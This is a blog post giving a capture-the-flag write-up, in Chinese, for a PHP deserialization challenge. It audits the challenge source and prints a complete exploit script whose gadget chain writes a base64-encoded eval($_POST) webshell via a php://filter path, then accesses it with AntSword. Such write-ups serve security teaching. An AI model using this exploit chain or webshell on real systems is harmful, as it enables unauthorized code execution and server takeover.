buuoj[2020新春红包题解]

0x01 解题思路

根据提示加上src=1参数会显示PHP源码:

<?php
error_reporting(0);

class A {
    protected $store;
    protected $key;
    protected $expire;
    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }
    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);
        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }
        return $contents;
    }
    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);
        return json_encode([$cleaned, $this->complete]);
    }
    public function save() {
        $contents = $this->getForStorage();
        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        // 使缓存文件名随机
        $cache_filename = $this->options['prefix'] . uniqid() . $name;
        if(substr($cache_filename, -strlen('.php')) === '.php') {
          die('?');
        }
        return $cache_filename;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }
        $data = $this->serialize($value);
        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }
        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);
        if ($result) {
            return $filename;
        }
        return null;
    }
}
if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

很明显是一道构造反序列化来得到flag的题。

源码中一共有两个类,这里想利用反序列化只能考虑借助wakeup、destruct方法,正好A中有一个destruct,那就从A入手进行审计。

 public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
 }

如果autosave为false,save方法会被触发,save方法可能触发反序列化。因此A类中autosave必须为假。接下来看save方法如何触发反序列化。

public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);
        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }
        return $contents;
    }
    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);
        return json_encode([$cleaned, $this->complete]);
    }
    public function save() {
        $contents = $this->getForStorage();
        $this->store->set($this->key, $contents, $this->expire);
    }

save中调用了getForStorage方法,该方法返回json数据。getForStorage方法调用了cleanContents方法,该方法用于求所给contents中与path、dirname、basename所在数组的交集。也就是说contents中只能包含path、dirname等key值。

小结一下就是save方法用来将传递的contents经过筛选之后得到一段json值,并将该值交给了store属性的set方法处理。

那么,contents是否可以被用户控制,set方法能否执行命令或读写文件呢?

重新阅读上述代码,contents变量值来自于处理后的cache变量,cache变量是A的一个属性,因此它是可控的。对于set方法,A中并没有set方法,B中有,因此store一定是个B的对象。

public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;
        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }
        $data = $this->serialize($value);
        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }
        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);
        if ($result) {
            return $filename;
        }
        return null;
    }
public function getCacheKey(string $name): string {
        // 使缓存文件名随机
        $cache_filename = $this->options['prefix'] . uniqid() . $name;
        if(substr($cache_filename, -strlen('.php')) === '.php') {
          die('?');
        }
        return $cache_filename;
    }

阅读以上代码,可以看到file_put_contents函数,这里被触发就有可能写入webshell。该函数用到的函数名会被getCacheKey处理一下,文件名来源于A中的key属性。该函数中被写入的值来源于data变量,data变量由A中的contents经过serialize处理得到,serialize是一个可控变量,可以自己选定函数名。serialize处理后可以进行压缩,但是这里显然是不能让他压缩,直接把options['data_compress']定义为false即可。

小结一下,A中传递过来contents和key参数给B的set方法做处理,如果能选定适当的serialize函数,构造合适的contents以及合适的文件名,那么就可以写入webshell,获取flag。

0x02 参数构造

<?php 
class A {
    protected $store;
    #key作文文件名
  	protected $key;
    protected $expire;
    public function __construct()
    {
        $this->store = new B();
      	#/../用于绕过uniqid生成的随机值,后面的/.用来绕过文件名限制
        $this->key = '/../c.php/.';
      	#随意的数值,这里似乎没啥用
        $this->expire = 111;
    }
}
$a = new A();
#动态生成成员
#用于触发save方法
$a->autosave=false;
#处理之后得到contents,path是一个base64值
#<?php eval($_POST[a]);?>
$a->cache = array('111'=>array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbYV0pOz8+"));
#这个并没有什么用,只是用来添加到json中,随便设
$a->complete = '2';
?>
class B{
    public $options;
    public function __construct()
    {
      	#禁止压缩
        $this->options['data_compress'] = false;
      	#随意的数值
        $this->options['expire'] = 111;
      	#serialize的方法
        $this->options['serialize'] = 'strval';
      	#用来确定写入文件的地址
        $this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=uploads/';
    }
}

0x03 完整的exp

<?php 
class B{
    public $options;
    public function __construct()
    {
        $this->options['data_compress'] = false;
        $this->options['expire'] = 111;
        $this->options['serialize'] = 'strval';
        $this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=uploads/';
    }
}
class A {
    protected $store;
    protected $key;
    protected $expire;
    public function __construct()
    {
        $this->store = new B();
        $this->key = '/../a.php/.';
        $this->expire = 111;
    }
}
$a = new A();
$a->autosave=false;
$a->cache = array('111'=>array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbYV0pOz8+"));
$a->complete = '2';
echo urlencode(serialize($a));
?>

将data传给题目页面后在用蚁剑访问/uploads/a.php即可拿到shell,并得到flag。

0x04 总结

这个题考查了审计能力和构造payload的能力,还是有点难度的,审计花了我不少时间。最后我想好了怎么构造payload后卡在了一个点上,就是A类没有的成员怎么处理。后来才知道,PHP支持动态生成成员,PHP实在是太灵活了,但我觉得灵活与安全不好兼得。

posted @ 2020-04-16 15:59  kevin_bruce  阅读(540)  评论(2编辑  收藏  举报